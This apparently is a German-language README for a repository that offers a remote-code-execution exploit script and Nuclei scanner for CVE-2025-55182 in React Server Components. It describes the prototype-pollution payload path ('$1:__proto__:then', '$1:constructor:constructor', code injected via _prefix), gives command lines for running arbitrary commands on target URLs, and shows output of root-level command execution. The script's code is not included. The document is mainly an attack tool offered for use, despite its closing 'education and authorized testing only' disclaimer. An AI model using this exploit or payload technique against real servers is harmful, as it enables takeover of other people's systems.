
CVE-2025-55182 - React Server Components RCE Exploit & Scanner Supports external servers and CLI interface
Vollwertiger Remote-Code-Ausführungs-Exploit und Scanner für CVE-2025-55182 in React/Next.js Server Actions.
Original PoC: Spritualkb/CVE-2025-55182-exp
CVE-2025-55182 ist eine kritische Schwachstelle durch Prototype Pollution in React Server Components, die eine Remote-Code-Ausführung ermöglicht. Dieses Repository stellt sowohl automatisierte Scan- (Nuclei-Vorlage) als auch manuelle Exploitation-Tools (Python-Skript) bereit.
Schwachstellenmechanismus:
Der Exploit nutzt Prototype Pollution in der React Flight Protocol-Deserialisierung aus. Er verschmutzt Object.prototype.then über "$1:__proto__:then" und erlangt Zugriff auf den Function-Konstruktor über _formData.get, das auf "$1:constructor:constructor" gesetzt ist, und injiziert dann schädlichen Code über _prefix, der durch Function() ausgeführt wird.
cve-2025-55182.yaml)Automatischer Schwachstellenscanner, der den Befehl id ausführt und die Ausgabe über den X-Action-Redirect-Header abruft.
Verwendung:
nuclei -u http://target.com:3000 -t cve-2025-55182.yaml
Funktionen:
id) zur Überprüfung von RCE ausCVE-2025-55182.py)Vollwertiges RCE-Exploit-Skript, das beliebige Befehle ausführt und die Ausgabe abruft.
Verwendung:
python3 CVE-2025-55182.py http://target.com:3000 -c "id"
python3 CVE-2025-55182.py https://target.com -c "whoami" --no-check-ssl
python3 CVE-2025-55182.py 192.168.1.100:3000 -c "uname -a"
Funktionen:
X-Action-Redirect-Header$ nuclei -u http://localhost:3001 -t cve-2025-55182.yaml
[cve-2025-55182:command_output] [http] [critical] http://localhost:3001 ["uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"]
[INF] Scan completed in 28.35483ms. 1 matches found.
$ python3 CVE-2025-55182.py http://localhost:3001 -c "id"
============================================================
CVE-2025-55182 RCE Exploit
React Server Components Remote Code Execution
============================================================
[*] Target: http://localhost:3001
[*] Command: id
[*] Building payload...
[*] Sending exploit payload...
============================================================
[+] Command executed successfully!
============================================================
[+] Command Output:
------------------------------------------------------------
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
------------------------------------------------------------
============================================================
[*] Exploitation attempt completed
============================================================
NUR FÜR BILDUNGSZWECKE UND AUTORISIERTE TESTS